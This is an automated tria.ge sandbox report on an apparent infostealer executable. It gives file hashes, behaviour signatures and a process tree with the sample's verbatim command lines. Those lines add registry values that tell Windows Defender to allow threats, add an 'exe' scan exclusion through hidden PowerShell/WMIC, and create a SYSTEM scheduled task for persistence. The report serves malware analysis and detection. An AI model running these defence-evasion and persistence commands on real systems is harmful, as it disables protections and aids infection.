Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

winprofile

windows7-x64

10

winprofile

windows10-1703-x64

8

Analysis

  • max time kernel
    157s
  • max time network
    262s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    07/05/2024, 22:44 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    4499ba71ec231f74863351e805915d9e821f83750091ce0c8d547b2014058fc4.exe

  • Size

    7.3MB

  • MD5

    afcdb3756b7c334677c899d4745efd7b

  • SHA1

    fdd1f38b6deb9ca7e4b96ddcdcb4c10209a1dda3

  • SHA256

    4499ba71ec231f74863351e805915d9e821f83750091ce0c8d547b2014058fc4

  • SHA512

    a0dda24b10c0c23be17dc4e2eb1da36390ef3751dcf6abc1f096c63738d70675f2f4feb2809b5c91ebb9d3ce8a47790daf7ddf2ea57e5117fe54aeb96c5c9f33

  • SSDEEP

    196608:91O7Rn5oGO7QuJJ7O82TigmtRj4HTVtkmykW/xa:3OVU7QufOBegY8HTXVV

Score
8/10
discoveryexecutionspywarestealer

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 35 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 58 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4499ba71ec231f74863351e805915d9e821f83750091ce0c8d547b2014058fc4.exe
    "C:\Users\Admin\AppData\Local\Temp\4499ba71ec231f74863351e805915d9e821f83750091ce0c8d547b2014058fc4.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:516
    • C:\Users\Admin\AppData\Local\Temp\7zS5DA1.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1808
      • C:\Users\Admin\AppData\Local\Temp\7zS5F46.tmp\Install.exe
        .\Install.exe /Qoymmdiddx "525403" /S
        3⤵
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:4388
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1836
          • C:\Windows\SysWOW64\forfiles.exe
            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3964
            • C:\Windows\SysWOW64\cmd.exe
              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2976
              • \??\c:\windows\SysWOW64\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                7⤵
                  PID:4888
            • C:\Windows\SysWOW64\forfiles.exe
              forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4936
              • C:\Windows\SysWOW64\cmd.exe
                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:2192
                • \??\c:\windows\SysWOW64\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                  7⤵
                    PID:4896
              • C:\Windows\SysWOW64\forfiles.exe
                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:3188
                • C:\Windows\SysWOW64\cmd.exe
                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2120
                  • \??\c:\windows\SysWOW64\reg.exe
                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                    7⤵
                      PID:1176
                • C:\Windows\SysWOW64\forfiles.exe
                  forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4468
                  • C:\Windows\SysWOW64\cmd.exe
                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3400
                    • \??\c:\windows\SysWOW64\reg.exe
                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                      7⤵
                        PID:4836
                  • C:\Windows\SysWOW64\forfiles.exe
                    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1840
                    • C:\Windows\SysWOW64\cmd.exe
                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1628
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell start-process -WindowStyle Hidden gpupdate.exe /force
                        7⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:1636
                        • C:\Windows\SysWOW64\gpupdate.exe
                          "C:\Windows\system32\gpupdate.exe" /force
                          8⤵
                            PID:2764
                  • C:\Windows\SysWOW64\forfiles.exe
                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2788
                    • C:\Windows\SysWOW64\cmd.exe
                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3012
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                        6⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2744
                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                          7⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4368
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /CREATE /TN "butYHpXTvMdZIJsEKZ" /SC once /ST 22:46:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS5F46.tmp\Install.exe\" LY /xNddidmDNb 525403 /S" /V1 /F
                    4⤵
                    • Drops file in Windows directory
                    • Creates scheduled task(s)
                    PID:936
                  • C:\Windows\SysWOW64\forfiles.exe
                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn butYHpXTvMdZIJsEKZ"
                    4⤵
                      PID:4732
                      • C:\Windows\SysWOW64\cmd.exe
                        /C schtasks /run /I /tn butYHpXTvMdZIJsEKZ
                        5⤵
                          PID:1544
                          • \??\c:\windows\SysWOW64\schtasks.exe
                            schtasks /run /I /tn butYHpXTvMdZIJsEKZ
                            6⤵
                              PID:4504
                  • C:\Users\Admin\AppData\Local\Temp\7zS5F46.tmp\Install.exe
                    C:\Users\Admin\AppData\Local\Temp\7zS5F46.tmp\Install.exe LY /xNddidmDNb 525403 /S
                    1⤵
                    • Executes dropped EXE
                    • Drops desktop.ini file(s)
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    PID:4964
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                      2⤵
                        PID:664
                        • C:\Windows\SysWOW64\forfiles.exe
                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                          3⤵
                            PID:1432
                            • C:\Windows\SysWOW64\cmd.exe
                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                              4⤵
                                PID:1440
                                • \??\c:\windows\SysWOW64\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                  5⤵
                                    PID:420
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                3⤵
                                  PID:4800
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                    4⤵
                                      PID:4980
                                      • \??\c:\windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                        5⤵
                                          PID:1140
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                      3⤵
                                        PID:376
                                        • C:\Windows\SysWOW64\cmd.exe
                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                          4⤵
                                            PID:4380
                                            • \??\c:\windows\SysWOW64\reg.exe
                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                              5⤵
                                                PID:3944
                                          • C:\Windows\SysWOW64\forfiles.exe
                                            forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                            3⤵
                                              PID:344
                                              • C:\Windows\SysWOW64\cmd.exe
                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                4⤵
                                                  PID:1044
                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                    5⤵
                                                      PID:1212
                                                • C:\Windows\SysWOW64\forfiles.exe
                                                  forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                  3⤵
                                                    PID:2944
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                      4⤵
                                                        PID:1624
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                          5⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          • Drops file in System32 directory
                                                          • Modifies data under HKEY_USERS
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:3148
                                                          • C:\Windows\SysWOW64\gpupdate.exe
                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                            6⤵
                                                              PID:4220
                                                              • C:\Windows\System32\Conhost.exe
                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                7⤵
                                                                  PID:2976
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                        2⤵
                                                        • Drops file in System32 directory
                                                        • Modifies data under HKEY_USERS
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:1176
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                          3⤵
                                                            PID:4868
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                              4⤵
                                                                PID:4372
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:4404
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:932
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:1056
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:4400
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:4620
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:4892
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:920
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                            3⤵
                                                                              PID:4336
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                              3⤵
                                                                                PID:3696
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                3⤵
                                                                                  PID:4772
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                  3⤵
                                                                                    PID:2904
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                    3⤵
                                                                                      PID:1740
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                      3⤵
                                                                                        PID:220
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                        3⤵
                                                                                          PID:1920
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                          3⤵
                                                                                            PID:1316
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                            3⤵
                                                                                              PID:2152
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                              3⤵
                                                                                                PID:2960
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                3⤵
                                                                                                  PID:2300
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                  3⤵
                                                                                                    PID:4756
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                    3⤵
                                                                                                      PID:1000
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                      3⤵
                                                                                                        PID:4272
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                        3⤵
                                                                                                          PID:4412
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                          3⤵
                                                                                                            PID:784
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                            3⤵
                                                                                                              PID:392
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                              3⤵
                                                                                                                PID:372
                                                                                                              • C:\Windows\SysWOW64\reg.exe
